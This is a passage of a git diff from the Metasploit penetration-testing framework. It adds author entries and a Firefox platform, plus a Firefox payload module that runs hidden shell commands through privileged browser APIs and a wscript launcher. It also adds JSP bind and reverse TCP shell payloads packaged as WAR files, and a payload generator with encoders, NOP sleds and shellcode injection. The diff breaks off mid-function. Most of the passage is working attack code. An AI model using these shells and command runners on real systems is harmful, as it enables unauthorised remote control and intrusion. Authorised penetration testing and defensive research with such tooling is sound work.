       'bannedit'         => 'bannedit' + 0x40.chr + 'metasploit.com',
       'Carlos Perez'     => 'carlos_perez' + 0x40.chr + 'darkoperator.com',
       'cazz'             => 'bmc' + 0x40.chr + 'shmoo.com',
@@ -21,6 +21,7 @@ class Msf::Module::Author
       'ddz'              => 'ddz' + 0x40.chr + 'theta44.org',
       'egypt'            => 'egypt' + 0x40.chr + 'metasploit.com',
       'et'               => 'et' + 0x40.chr + 'metasploit.com',
+      'Christian Mehlmauer' => 'FireFart' + 0x40.chr + 'gmail.com',
       'hdm'              => 'hdm' + 0x40.chr + 'metasploit.com',
       'I)ruid'           => 'druid' +  0x40.chr + 'caughq.org',
       'jcran'            => 'jcran' + 0x40.chr + 'metasploit.com',
@@ -30,6 +31,7 @@ class Msf::Module::Author
       'kf'               => 'kf_list' + 0x40.chr + 'digitalmunition.com',
       'kris katterjohn'  => 'katterjohn' + 0x40.chr + 'gmail.com',
       'MC'               => 'mc' + 0x40.chr + 'metasploit.com',
+      'Ben Campbell'     => 'eat_meatballs' + 0x40.chr + 'hotmail.co.uk',
       'msmith'           => 'msmith' + 0x40.chr + 'metasploit.com',
       'mubix'            => 'mubix' + 0x40.chr + 'hak5.org',
       'natron'           => 'natron' + 0x40.chr + 'metasploit.com',
diff --git a/lib/msf/core/module/platform.rb b/lib/msf/core/module/platform.rb
index ee8122d531..ad2131a6ec 100644
--- a/lib/msf/core/module/platform.rb
+++ b/lib/msf/core/module/platform.rb
@@ -516,4 +516,12 @@ class Msf::Module::Platform
     Rank = 100
     Alias = "nodejs"
   end
+
+  #
+  # Firefox
+  #
+  class Firefox < Msf::Module::Platform
+    Rank = 100
+    Alias = "firefox"
+  end
 end
diff --git a/lib/msf/core/module/reference.rb b/lib/msf/core/module/reference.rb
index 335d9ddd3f..c12c0a239f 100644
--- a/lib/msf/core/module/reference.rb
+++ b/lib/msf/core/module/reference.rb
@@ -101,7 +101,7 @@ class Msf::Module::SiteReference < Msf::Module::Reference
     elsif (in_ctx_id == 'BID')
       self.site = 'http://www.securityfocus.com/bid/' + in_ctx_val.to_s
     elsif (in_ctx_id == 'MSB')
-      self.site = 'http://www.microsoft.com/technet/security/bulletin/' + in_ctx_val.to_s + '.mspx'
+      self.site = 'http://technet.microsoft.com/en-us/security/bulletin/' + in_ctx_val.to_s
     elsif (in_ctx_id == 'EDB')
       self.site = 'http://www.exploit-db.com/exploits/' + in_ctx_val.to_s
     elsif (in_ctx_id == 'WVE')
diff --git a/lib/msf/core/module/target.rb b/lib/msf/core/module/target.rb
index 478bf055d7..30b6d993f3 100644
--- a/lib/msf/core/module/target.rb
+++ b/lib/msf/core/module/target.rb
@@ -198,6 +198,13 @@ class Msf::Module::Target
     opts['Payload'] ? opts['Payload']['PrependEncoder'] : nil
   end
 
+  #
+  # Payload append encoder information for this target.
+  #
+  def payload_append_encoder
+    opts['Payload'] ? opts['Payload']['AppendEncoder'] : nil
+  end
+
   #
   # Payload stack adjustment information for this target.
   #
diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb
index f3e981db47..a712034020 100644
--- a/lib/msf/core/payload.rb
+++ b/lib/msf/core/payload.rb
@@ -29,6 +29,7 @@ class Payload < Msf::Module
   require 'msf/core/payload/netware'
   require 'msf/core/payload/java'
   require 'msf/core/payload/dalvik'
+  require 'msf/core/payload/firefox'
 
   ##
   #
@@ -413,7 +414,7 @@ class Payload < Msf::Module
     encoders = []
 
     framework.encoders.each_module_ranked(
-      'Arch' => self.arch) { |name, mod|
+      'Arch' => self.arch, 'Platform' => self.platform) { |name, mod|
       encoders << [ name, mod ]
     }
 
diff --git a/lib/msf/core/payload/firefox.rb b/lib/msf/core/payload/firefox.rb
new file mode 100644
index 0000000000..db762a3f54
--- /dev/null
+++ b/lib/msf/core/payload/firefox.rb
@@ -0,0 +1,192 @@
+# -*- coding: binary -*-
+require 'msf/core'
+require 'json'
+
+module Msf::Payload::Firefox
+
+  # Javascript source code of setTimeout(fn, delay)
+  # @return [String] javascript source code that exposes the setTimeout(fn, delay) method
+  def set_timeout_source
+    %Q|
+      var setTimeout = function(cb, delay) {
+        var timer = Components.classes["@mozilla.org/timer;1"].createInstance(Components.interfaces.nsITimer);
+        timer.initWithCallback({notify:cb}, delay, Components.interfaces.nsITimer.TYPE_ONE_SHOT);
+        return timer;
+      };
+    |
+  end
+
+  # Javascript source code of readFile(path) - synchronously reads a file and returns
+  # its contents. The file is deleted immediately afterwards.
+  #
+  # @return [String] javascript source code that exposes the readFile(path) method
+  def read_file_source
+    %Q|
+      var readFile = function(path) {
+        try {
+          var file = Components.classes["@mozilla.org/file/local;1"]
+                   .createInstance(Components.interfaces.nsILocalFile);
+          file.initWithPath(path);
+
+          var fileStream = Components.classes["@mozilla.org/network/file-input-stream;1"]
+                           .createInstance(Components.interfaces.nsIFileInputStream);
+          fileStream.init(file, 1, 0, false);
+
+          var binaryStream = Components.classes["@mozilla.org/binaryinputstream;1"]
+                             .createInstance(Components.interfaces.nsIBinaryInputStream);
+          binaryStream.setInputStream(fileStream);
+          var array = binaryStream.readByteArray(fileStream.available());
+
+          binaryStream.close();
+          fileStream.close();
+          file.remove(true);
+
+          return array.map(function(aItem) { return String.fromCharCode(aItem); }).join("");
+        } catch (e) { return ""; }
+      };
+    |
+  end
+
+  # Javascript source code of runCmd(str,cb) - runs a shell command on the OS
+  #
+  # Because of a limitation of firefox, we cannot retrieve the shell output
+  # so the stdout/err are instead redirected to a temp file, which is read and
+  # destroyed after the command completes.
+  #
+  # On posix, the command is double wrapped in "/bin/sh -c" calls, the outer of
+  # which redirects stdout.
+  #
+  # On windows, the command is wrapped in two "cmd /c" calls, the outer of which
+  # redirects stdout. A JScript "launch" file is dropped and invoked with wscript
+  # to run the command without displaying the cmd.exe prompt.
+  #
+  # When the command contains the pattern "[JAVASCRIPT] ... [/JAVASCRIPT]", the
+  # javascript code between the tags is eval'd and returned.
+  #
+  # @return [String] javascript source code that exposes the runCmd(str) method.
+  def run_cmd_source
+    %Q|
+      #{read_file_source}
+      #{set_timeout_source}
+
+      var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"]
+        .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;
+      var windows = (ua.indexOf("Windows")>-1);
+      var svcs = Components.utils.import("resource://gre/modules/Services.jsm");
+      var jscript = (#{JSON.unparse({:src => jscript_launcher})}).src;
+      var runCmd = function(cmd, cb) {
+        cb = cb \|\| (function(){});
+
+        if (cmd.trim().length == 0) {
+          setTimeout(function(){ cb("Command is empty string ('')."); });
+          return;
+        }
+
+        var js = (/^\\s*\\[JAVASCRIPT\\]([\\s\\S]*)\\[\\/JAVASCRIPT\\]/g).exec(cmd.trim());
+        if (js) {
+          var tag = "[!JAVASCRIPT]";
+          var sync = true;  /* avoid zalgo's reach */
+          var sent = false;
+          var retVal = null;
+
+          try {
+            retVal = Function('send', js[1])(function(r){
+              if (sent) return;
+              sent = true
+              if (r) {
+                if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); });
+                else      cb(false, r+tag+"\\n");
+              }
+            });
+          } catch (e) { retVal = e.message; }
+
+          sync = false;
+
+          if (retVal && !sent) {
+            sent = true;
+            setTimeout(function(){ cb(false, retVal+tag+"\\n"); });
+          }
+
+          return;
+        }
+
+        var shEsc = "\\\\$&";
+        var shPath = "/bin/sh -c"
+
+        if (windows) {
+          shPath = "cmd /c";
+          shEsc = "\\^$&";
+          var jscriptFile = Components.classes["@mozilla.org/file/directory_service;1"]
+            .getService(Components.interfaces.nsIProperties)
+            .get("TmpD", Components.interfaces.nsIFile);
+          jscriptFile.append('#{Rex::Text.rand_text_alphanumeric(8+rand(12))}.js');
+          var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"]
+            .createInstance(Components.interfaces.nsIFileOutputStream);
+          stream.init(jscriptFile, 0x04 \| 0x08 \| 0x20, 0666, 0);
+          stream.write(jscript, jscript.length);
+          if (stream instanceof Components.interfaces.nsISafeOutputStream) {
+            stream.finish();
+          } else {
+            stream.close();
+          }
+        }
+
+        var stdoutFile = "#{Rex::Text.rand_text_alphanumeric(8+rand(12))}";
+
+        var stdout = Components.classes["@mozilla.org/file/directory_service;1"]
+          .getService(Components.interfaces.nsIProperties)
+          .get("TmpD", Components.interfaces.nsIFile);
+        stdout.append(stdoutFile);
+
+        if (windows) {
+          var shell = shPath+" "+cmd;
+          shell = shPath+" "+shell.replace(/\\W/g, shEsc)+" >"+stdout.path+" 2>&1";
+          var b64 = svcs.btoa(shell);
+        } else {
+          var shell = shPath+" "+cmd.replace(/\\W/g, shEsc);
+          shell = shPath+" "+shell.replace(/\\W/g, shEsc) + " >"+stdout.path+" 2>&1";
+        }
+        var process = Components.classes["@mozilla.org/process/util;1"]
+          .createInstance(Components.interfaces.nsIProcess);
+        var sh = Components.classes["@mozilla.org/file/local;1"]
+                   .createInstance(Components.interfaces.nsILocalFile);
+
+        if (windows) {
+          sh.initWithPath("C:\\\\Windows\\\\System32\\\\wscript.exe");
+          process.init(sh);
+          var args = [jscriptFile.path, b64];
+          process.run(true, args, args.length);
+          jscriptFile.remove(true);
+          setTimeout(function(){cb(false, cmd+"\\n"+readFile(stdout.path));});
+        } else {
+          sh.initWithPath("/bin/sh");
+          process.init(sh);
+          var args = ["-c", shell];
+          process.run(true, args, args.length);
+          setTimeout(function(){cb(false, readFile(stdout.path));});
+        }
+      };
+    |
+  end
+
+  # This file is dropped on the windows platforms to a temp file in order to prevent the
+  # cmd.exe prompt from appearing. It is executed and then deleted.
+  #
+  # Note: we should totally add a powershell replacement here.
+  #
+  # @return [String] JScript that reads its command-line argument, decodes
+  # base64 and runs it as a shell command.
+  def jscript_launcher
+    %Q|
+      var b64 = WScript.arguments(0);
+      var dom = new ActiveXObject("MSXML2.DOMDocument.3.0");
+      var el  = dom.createElement("root");
+      el.dataType = "bin.base64"; el.text = b64; dom.appendChild(el);
+      var stream = new ActiveXObject("ADODB.Stream");
+      stream.Type=1; stream.Open(); stream.Write(el.nodeTypedValue);
+      stream.Position=0; stream.type=2; stream.CharSet = "us-ascii"; stream.Position=0;
+      var cmd = stream.ReadText();
+      (new ActiveXObject("WScript.Shell")).Run(cmd, 0, true);
+    |
+  end
+end
diff --git a/lib/msf/core/payload/java.rb b/lib/msf/core/payload/java.rb
index 7b88e06b5b..bf8522f100 100644
--- a/lib/msf/core/payload/java.rb
+++ b/lib/msf/core/payload/java.rb
@@ -42,6 +42,8 @@ module Msf::Payload::Java
   #
   # @option opts :main_class [String] the name of the Main-Class
   #   attribute in the manifest.  Defaults to "metasploit.Payload"
+  # @option opts :random [Boolean] Set to `true` to randomize the
+  #   "metasploit" package name.
   # @return [Rex::Zip::Jar]
   def generate_jar(opts={})
     raise if not respond_to? :config
@@ -54,6 +56,7 @@ module Msf::Payload::Java
     ] + @class_files
 
     jar = Rex::Zip::Jar.new
+    jar.add_sub("metasploit") if opts[:random]
     jar.add_file("metasploit.dat", config)
     jar.add_files(paths, File.join(Msf::Config.data_directory, "java"))
     jar.build_manifest(:main_class => main_class)
diff --git a/lib/msf/core/payload/jsp.rb b/lib/msf/core/payload/jsp.rb
new file mode 100644
index 0000000000..2a81902839
--- /dev/null
+++ b/lib/msf/core/payload/jsp.rb
@@ -0,0 +1,154 @@
+# -*- coding: binary -*-
+require 'msf/core'
+require 'rex'
+
+module Msf::Payload::JSP
+  # Outputs jsp that spawns a bind TCP shell
+  # @return [String] jsp code that executes bind TCP payload
+  def jsp_bind_tcp
+    # Modified from: http://www.security.org.sg/code/jspreverse.html
+    jsp = <<-EOS
+<%@page import="java.lang.*"%>
+<%@page import="java.util.*"%>
+<%@page import="java.io.*"%>
+<%@page import="java.net.*"%>
+
+<%
+  class StreamConnector extends Thread
+  {
+    InputStream is;
+    OutputStream os;
+
+    StreamConnector( InputStream is, OutputStream os )
+    {
+      this.is = is;
+      this.os = os;
+    }
+
+    public void run()
+    {
+      BufferedReader in  = null;
+      BufferedWriter out = null;
+      try
+      {
+        in  = new BufferedReader( new InputStreamReader( this.is ) );
+        out = new BufferedWriter( new OutputStreamWriter( this.os ) );
+        char buffer[] = new char[8192];
+        int length;
+        while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
+        {
+          out.write( buffer, 0, length );
+          out.flush();
+        }
+      } catch( Exception e ){}
+      try
+      {
+        if( in != null )
+          in.close();
+        if( out != null )
+          out.close();
+      } catch( Exception e ){}
+    }
+  }
+
+  try
+  {
+    ServerSocket server_socket = new ServerSocket( #{datastore['LPORT'].to_s} );
+    Socket client_socket = server_socket.accept();
+    server_socket.close();
+    Process process = Runtime.getRuntime().exec( "#{datastore['SHELL']}" );
+    ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();
+    ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();
+  } catch( Exception e ) {}
+%>
+    EOS
+
+    return jsp
+  end
+
+  # Outputs jsp code that spawns a reverse TCP shell
+  # @return [String] jsp code that executes reverse TCP payload
+  def jsp_reverse_tcp
+    # JSP Reverse Shell modified from: http://www.security.org.sg/code/jspreverse.html
+    jsp = <<-EOS
+<%@page import="java.lang.*"%>
+<%@page import="java.util.*"%>
+<%@page import="java.io.*"%>
+<%@page import="java.net.*"%>
+
+<%
+  class StreamConnector extends Thread
+  {
+    InputStream is;
+    OutputStream os;
+
+    StreamConnector( InputStream is, OutputStream os )
+    {
+      this.is = is;
+      this.os = os;
+    }
+
+    public void run()
+    {
+      BufferedReader in  = null;
+      BufferedWriter out = null;
+      try
+      {
+        in  = new BufferedReader( new InputStreamReader( this.is ) );
+        out = new BufferedWriter( new OutputStreamWriter( this.os ) );
+        char buffer[] = new char[8192];
+        int length;
+        while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
+        {
+          out.write( buffer, 0, length );
+          out.flush();
+        }
+      } catch( Exception e ){}
+      try
+      {
+        if( in != null )
+          in.close();
+        if( out != null )
+          out.close();
+      } catch( Exception e ){}
+    }
+  }
+
+  try
+  {
+    Socket socket = new Socket( "#{datastore['LHOST']}", #{datastore['LPORT'].to_s} );
+    Process process = Runtime.getRuntime().exec( "#{datastore['SHELL']}" );
+    ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
+    ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
+  } catch( Exception e ) {}
+%>
+    EOS
+    return jsp
+  end
+
+  # Wraps the jsp payload into a war
+  # @return [Rex::Zip::Jar] a war to execute the jsp payload
+  def generate_war
+    jsp_name = "#{Rex::Text.rand_text_alpha_lower(rand(8)+8)}.jsp"
+
+    zip = Rex::Zip::Jar.new
+
+    web_xml = <<-EOF
+<?xml version="1.0"?>
+<!DOCTYPE web-app PUBLIC
+"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
+"http://java.sun.com/dtd/web-app_2_3.dtd">
+<web-app>
+  <welcome-file-list>
+    <welcome-file>#{jsp_name}</welcome-file>
+  </welcome-file-list>
+</web-app>
+    EOF
+
+    zip.add_file("WEB-INF/", '')
+    zip.add_file("WEB-INF/web.xml", web_xml)
+    zip.add_file(jsp_name, generate)
+
+    zip
+  end
+end
diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb
index 9d7e5cd574..26856d4444 100644
--- a/lib/msf/core/payload/windows.rb
+++ b/lib/msf/core/payload/windows.rb
@@ -72,7 +72,7 @@ module Msf::Payload::Windows
 
     register_options(
       [
-        Msf::OptRaw.new('EXITFUNC', [ true, "Exit technique: #{@@exit_types.keys.join(", ")}", 'process' ])
+        Msf::OptEnum.new('EXITFUNC', [true, 'Exit technique', 'process', @@exit_types.keys])
       ], Msf::Payload::Windows )
     ret
   end
diff --git a/lib/msf/core/payload/windows/prepend_migrate.rb b/lib/msf/core/payload/windows/prepend_migrate.rb
index 19d36e081d..356d12ce59 100644
--- a/lib/msf/core/payload/windows/prepend_migrate.rb
+++ b/lib/msf/core/payload/windows/prepend_migrate.rb
@@ -85,21 +85,24 @@ module Msf::Payload::Windows::PrependMigrate
       ror edi, 13               ; Rotate right our hash value
       add edi, eax              ; Add the next byte of the name
       loop loop_modname         ; Loop untill we have read enough
+
       ; We now have the module hash computed
       push edx                  ; Save the current position in the module list for later
       push edi                  ; Save the current module hash for later
       ; Proceed to iterate the export address table
       mov edx, [edx+16]         ; Get this modules base address
       mov eax, [edx+60]         ; Get PE header
-      add eax, edx              ; Add the modules base address
-      mov eax, [eax+120]        ; Get export tables RVA
-      test eax, eax             ; Test if no export address table is present
-      jz get_next_mod1          ; If no EAT present, process the next module
-      add eax, edx              ; Add the modules base address
-      push eax                  ; Save the current modules EAT
-      mov ecx, [eax+24]         ; Get the number of function names
-      mov ebx, [eax+32]         ; Get the rva of the function names
+
+      ; use ecx as our EAT pointer here so we can take advantage of jecxz.
+      mov ecx, [eax+edx+120]    ; Get the EAT from the PE header
+      jecxz get_next_mod1       ; If no EAT present, process the next module
+      add ecx, edx              ; Add the modules base address
+      push ecx                  ; Save the current modules EAT
+      mov ebx, [ecx+32]         ; Get the rva of the function names
       add ebx, edx              ; Add the modules base address
+      mov ecx, [ecx+24]         ; Get the number of function names
+      ; now ecx returns to its regularly scheduled counter duties
+
       ; Computing the module hash + function hash
     get_next_func:              ;
       jecxz get_next_mod        ; When we reach the start of the EAT (we search backwards), process the next module
@@ -118,6 +121,7 @@ module Msf::Payload::Windows::PrependMigrate
       add edi, [ebp-8]          ; Add the current module hash to the function hash
       cmp edi, [ebp+36]         ; Compare the hash to the one we are searchnig for
       jnz get_next_func         ; Go compute the next function hash if we have not found it
+
       ; If found, fix up stack, call the function and then value else compute the next one...
       pop eax                   ; Restore the current modules EAT
       mov ebx, [eax+36]         ; Get the ordinal table rva
@@ -138,6 +142,7 @@ module Msf::Payload::Windows::PrependMigrate
       push ecx                  ; Push back the correct return value
       jmp eax                   ; Jump into the required function
       ; We now automagically return to the correct caller...
+
     get_next_mod:               ;
       pop eax                   ; Pop off the current (now the previous) modules EAT
     get_next_mod1:              ;
diff --git a/lib/msf/core/payload_generator.rb b/lib/msf/core/payload_generator.rb
new file mode 100644
index 0000000000..d1be51b7af
--- /dev/null
+++ b/lib/msf/core/payload_generator.rb
@@ -0,0 +1,395 @@
+require 'active_support/core_ext/numeric/bytes'
+module Msf
+
+  class PayloadGeneratorError < StandardError
+  end
+
+  class EncoderSpaceViolation < PayloadGeneratorError
+  end
+
+  class IncompatibleArch < PayloadGeneratorError
+  end
+
+  class IncompatibleEndianess < PayloadGeneratorError
+  end
+
+  class IncompatiblePlatform < PayloadGeneratorError
+  end
+
+  class InvalidFormat < PayloadGeneratorError
+  end
+
+  class PayloadGenerator
+
+    # @!attribute  add_code
+    #   @return [String] The path to a shellcode file to execute in a seperate thread
+    attr_accessor :add_code
+    # @!attribute  arch
+    #   @return [String] The CPU architecture to build the payload for
+    attr_accessor :arch
+    # @!attribute  badchars
+    #   @return [String] The bad characters that can't be in the payload
+    attr_accessor :badchars
+    # @!attribute  cli
+    #   @return [Boolean] Whether this is being run by a CLI script
+    attr_accessor :cli
+    # @!attribute  datastore
+    #   @return [Hash] The datastore to apply to the payload module
+    attr_accessor :datastore
+    # @!attribute  encoder
+    #   @return [String] The encoder(s) you want applied to the payload
+    attr_accessor :encoder
+    # @!attribute  format
+    #   @return [String] The format you want the payload returned in
+    attr_accessor :format
+    # @!attribute  framework
+    #   @return [Msf::Framework] The framework instance to use for generation
+    attr_accessor :framework
+    # @!attribute  iterations
+    #   @return [Fixnum] The number of iterations to run the encoder
+    attr_accessor :iterations
+    # @!attribute  keep
+    #   @return [Boolean] Whether or not to preserve the original functionality of the template
+    attr_accessor :keep
+    # @!attribute  nops
+    #   @return [Fixnum] The size in bytes of NOP sled to prepend the payload with
+    attr_accessor :nops
+    # @!attribute  payload
+    #   @return [String] The refname of the payload to generate
+    attr_accessor :payload
+    # @!attribute  platform
+    #   @return [String] The platform to build the payload for
+    attr_accessor :platform
+    # @!attribute  space
+    #   @return [Fixnum] The maximum size in bytes of the payload
+    attr_accessor :space
+    # @!attribute  stdin
+    #   @return [String] The raw bytes of a payload taken from STDIN
+    attr_accessor :stdin
+    # @!attribute  template
+    #   @return [String] The path to an executable template to use
+    attr_accessor :template
+
+
+    # @param opts [Hash] The options hash
+    # @option opts [String] :payload (see #payload)
+    # @option opts [String] :format (see #format)
+    # @option opts [String] :encoder (see #encoder)
+    # @option opts [Fixnum] :iterations (see #iterations)
+    # @option opts [String] :arch (see #arch)
+    # @option opts [String] :platform (see #platform)
+    # @option opts [String] :badchars (see #badchars)
+    # @option opts [String] :template (see #template)
+    # @option opts [Fixnum] :space (see #space)
+    # @option opts [Fixnum] :nops (see #nops)
+    # @option opts [String] :add_code (see #add_code)
+    # @option opts [Boolean] :keep (see #keep)
+    # @option opts [Hash] :datastore (see #datastore)
+    # @option opts [Msf::Framework] :framework (see #framework)
+    # @option opts [Boolean] :cli (see #cli)
+    # @raise [KeyError] if framework is not provided in the options hash
+    def initialize(opts={})
+      @add_code   = opts.fetch(:add_code, '')
+      @arch       = opts.fetch(:arch, '')
+      @badchars   = opts.fetch(:badchars, '')
+      @cli        = opts.fetch(:cli, false)
+      @datastore  = opts.fetch(:datastore, {})
+      @encoder    = opts.fetch(:encoder, '')
+      @format     = opts.fetch(:format, 'raw')
+      @iterations = opts.fetch(:iterations, 1)
+      @keep       = opts.fetch(:keep, false)
+      @nops       = opts.fetch(:nops, 0)
+      @payload    = opts.fetch(:payload, '')
+      @platform   = opts.fetch(:platform, '')
+      @space      = opts.fetch(:space, 1.gigabyte)
+      @stdin      = opts.fetch(:stdin, nil)
+      @template   = opts.fetch(:template, '')
+
+      @framework  = opts.fetch(:framework)
+
+      raise ArgumentError, "Invalid Payload Selected" unless payload_is_valid?
+      raise ArgumentError, "Invalid Format Selected" unless format_is_valid?
+    end
+
+    # This method takes the shellcode generated so far and adds shellcode from
+    # a supplied file. The added shellcode is executed in a seperate thread
+    # from the main payload.
+    # @param shellcode [String] The shellcode to add to
+    # @return [String] the combined shellcode which executes the added code in a seperate thread
+    def add_shellcode(shellcode)
+      if add_code.present? and platform_list.platforms.include? Msf::Module::Platform::Windows and arch == "x86"
+        cli_print "Adding shellcode from #{add_code} to the payload"
+        shellcode_file = File.open(add_code)
+        shellcode_file.binmode
+        added_code = shellcode_file.read
+        shellcode_file.close
+        shellcode = ::Msf::Util::EXE.win32_rwx_exec_thread(shellcode,0,'end')
+        shellcode << added_code
+      else
+        shellcode.dup
+      end
+    end
+
+    # This method takes a payload module and tries to reconcile a chosen
+    # arch with the arches supported by the module.
+    # @param mod [Msf::Payload] The module class to choose an arch for
+    # @return [String] String form of the Arch if a valid arch found
+    # @return [Nil] if no valid arch found
+    def choose_arch(mod)
+      if arch.blank?
+        @arch = mod.arch.first
+        cli_print "No Arch selected, selecting Arch: #{arch} from the payload"
+        return mod.arch.first
+      elsif mod.arch.include? arch
+        return arch
+      else
+        return nil
+      end
+    end
+
+    # This method takes a payload module and tries to reconcile a chosen
+    # platform with the platforms supported by the module.
+    # @param mod [Msf::Payload] The module class to choose a platform for
+    # @return [Msf::Module::PlatformList] The selected platform list
+    def choose_platform(mod)
+      chosen_platform = platform_list
+      if chosen_platform.platforms.empty?
+        chosen_platform = mod.platform
+        cli_print "No platform was selected, choosing #{chosen_platform.platforms.first} from the payload"
+        @platform = mod.platform.platforms.first.to_s.split("::").last
+      elsif (chosen_platform & mod.platform).empty?
+        chosen_platform = Msf::Module::PlatformList.new
+      end
+      chosen_platform
+    end
+
+    # This method takes the shellcode generated so far and iterates through
+    # the chosen or compatible encoders. It attempts to encode the payload
+    # with each encoder until it finds one that works.
+    # @param shellcode [String] The shellcode to encode
+    # @return [String] The encoded shellcode
+    def encode_payload(shellcode)
+      shellcode = shellcode.dup
+      encoder_list = get_encoders
+      cli_print "Found #{encoder_list.count} compatible encoders"
+      if encoder_list.empty?
+        shellcode
+      else
+        encoder_list.each do |encoder_mod|
+          cli_print "Attempting to encode payload with #{iterations} iterations of #{encoder_mod.refname}"
+          begin
+            return run_encoder(encoder_mod, shellcode.dup)
+          rescue ::Msf::EncoderSpaceViolation => e
+            cli_print "#{encoder_mod.refname} failed with #{e.message}"
+            next
+          rescue ::Msf::EncodingError => e
+            cli_print "#{encoder_mod.refname} failed with #{e.message}"
+            next
+          end
+        end
+        raise ::Msf::EncodingError, "No Encoder Succeeded"
+      end
+    end
+
+    # This returns a hash for the exe format generation of payloads
+    # @return [Hash] The hash needed for generating an executable format
+    def exe_options
+      opts = { inject: keep }
+      unless template.blank?
+        opts[:template_path] = File.dirname(template)
+        opts[:template]      = File.basename(template)
+      end
+      opts
+    end
+
+    # This method takes the payload shellcode and formats it appropriately based
+    # on the selected output format.
+    # @param shellcode [String] the processed shellcode to be formatted
+    # @return [String] The final formatted form of the payload
+    def format_payload(shellcode)
+      case format.downcase
+        when "js_be"
+          if Rex::Arch.endian(arch) != ENDIAN_BIG
+            raise IncompatibleEndianess, "Big endian format selected for a non big endian payload"
+          else
+            ::Msf::Simple::Buffer.transform(shellcode, format)
+          end
+        when *::Msf::Simple::Buffer.transform_formats
+          ::Msf::Simple::Buffer.transform(shellcode, format)
+        when *::Msf::Util::EXE.to_executable_fmt_formats
+          ::Msf::Util::EXE.to_executable_fmt(framework, arch, platform_list, shellcode, format, exe_options)
+        else
+          raise InvalidFormat, "you have selected an invalid payload format"
+      end
+    end
+
+    # This method generates Java payloads which are a special case.
+    # They can be generated in raw or war formats, which respectively
+    # produce a JAR or WAR file for the java payload.
+    # @return [String] Java payload as a JAR or WAR file
+    def generate_java_payload
+      payload_module = framework.payloads.create(payload)
+      payload_module.datastore.merge!(datastore)
+      case format
+        when "raw", "jar"
+          if payload_module.respond_to? :generate_jar
+            payload_module.generate_jar.pack
+          else
+            payload_module.generate
+          end
+        when "war"
+          if payload_module.respond_to? :generate_war
+            payload_module.generate_war.pack
+          else
+            raise InvalidFormat, "#{payload} is not a Java payload"
+          end
+        else
+          raise InvalidFormat, "#{format} is not a valid format for Java payloads"
+      end
+    end
+
+    # This method is a wrapper around all of the other methods. It calls the correct
+    # methods in order based on the supplied options and returns the finished payload.
+    # @return [String] A string containing the bytes of the payload in the format selected
+    def generate_payload
+      if platform == "java" or arch == "java" or payload.start_with? "java/"
+        generate_java_payload
+      else
+        raw_payload = generate_raw_payload
+        raw_payload = add_shellcode(raw_payload)
+        encoded_payload = encode_payload(raw_payload)
+        encoded_payload = prepend_nops(encoded_payload)
+        format_payload(encoded_payload)
+      end
+    end
+
+
+    # This method generates the raw form of the payload as generated by the payload module itself.
+    # @raise [Msf::IncompatiblePlatform] if no platform was selected for a stdin payload
+    # @raise [Msf::IncompatibleArch] if no arch was selected for a stdin payload
+    # @raise [Msf::IncompatiblePlatform] if the platform is incompatible with the payload
+    # @raise [Msf::IncompatibleArch] if the arch is incompatible with the payload
+    # @return [String] the raw bytes of the payload to be generated
+    def generate_raw_payload
+      if payload == 'stdin'
+        if arch.blank?
+          raise IncompatibleArch, "You must select an arch for a custom payload"
+        elsif platform.blank?
+          raise IncompatiblePlatform, "You must select a platform for a custom payload"
+        end
+        stdin
+      else
+        payload_module = framework.payloads.create(payload)
+
+        chosen_platform = choose_platform(payload_module)
+        if chosen_platform.platforms.empty?
+          raise IncompatiblePlatform, "The selected platform is incompatible with the payload"
+        end
+
+        chosen_arch = choose_arch(payload_module)
+        unless chosen_arch
+          raise IncompatibleArch, "The selected arch is incompatible with the payload"
+        end
+
+        payload_module.generate_simple(
+            'Format'   => 'raw',
+            'Options'  => datastore,
+            'Encoder'  => nil
+        )
+      end
+    end
+
+    # This method returns an array of encoders that either match the
+    # encoders selected by the user, or match the arch selected.
+    # @return [Array<Msf::Encoder>] An array of potential encoders to use
+    def get_encoders
+      encoders = []
+      if encoder.present?
+        # Allow comma seperated list of encoders so users can choose several
+        encoder.split(',').each do |chosen_encoder|
+          encoders << framework.encoders.create(chosen_encoder)
+        end
+        encoders.sort_by { |my_encoder| my_encoder.rank }.reverse
+      elsif badchars.present?
+        framework.encoders.each_module_ranked('Arch' => [arch]) do |name, mod|
+          encoders << framework.encoders.create(name)
+        end
+        encoders.sort_by { |my_encoder| my_encoder.rank }.reverse
+      else
+        encoders
+      end
+    end
+
+    # Returns a PlatformList object based on the platform string given at creation.
+    # @return [Msf::Module::PlatformList] It will be empty if no valid platforms found
+    def platform_list
+      if platform.blank?
+        list = Msf::Module::PlatformList.new
+      else
+        begin
+          list = ::Msf::Module::PlatformList.transform(platform)
+        rescue
+          list = Msf::Module::PlatformList.new
+        end
+      end
+      list
+    end
+
+    # This method takes an encoded payload and prepends a NOP Sled to it
+    # with a size based on the nops value given to the generator.
+    # @param shellcode [String] The shellcode to prepend the NOPs to
+    # @return [String] the shellcode with the appropriate nopsled affixed
+    def prepend_nops(shellcode)
+      if nops > 0
+        framework.nops.each_module_ranked('Arch' => [arch]) do |name, mod|
+          nop = framework.nops.create(name)
+          raw = nop.generate_sled(nops, {'BadChars' => badchars, 'SaveRegisters' => [ 'esp', 'ebp', 'esi', 'edi' ] })
+          if raw
+            cli_print "Successfully added NOP sled from #{name}"
+            return raw + shellcode
+          end
+        end
+      else
+        shellcode
+      end
+    end
+
+    # This method runs a specified encoder, for a number of defined iterations against the shellcode.
+    # @param encoder_module [Msf::Encoder] The Encoder to run against the shellcode
+    # @param shellcode [String] The shellcode to be encoded
+    # @return [String] The encoded shellcode
+    # @raise [Msf::EncoderSpaceViolation] If the Encoder makes the shellcode larger than the supplied space limit
+    def run_encoder(encoder_module, shellcode)
+      iterations.times do |x|
+        shellcode = encoder_module.encode(shellcode.dup, badchars, nil, platform_list)
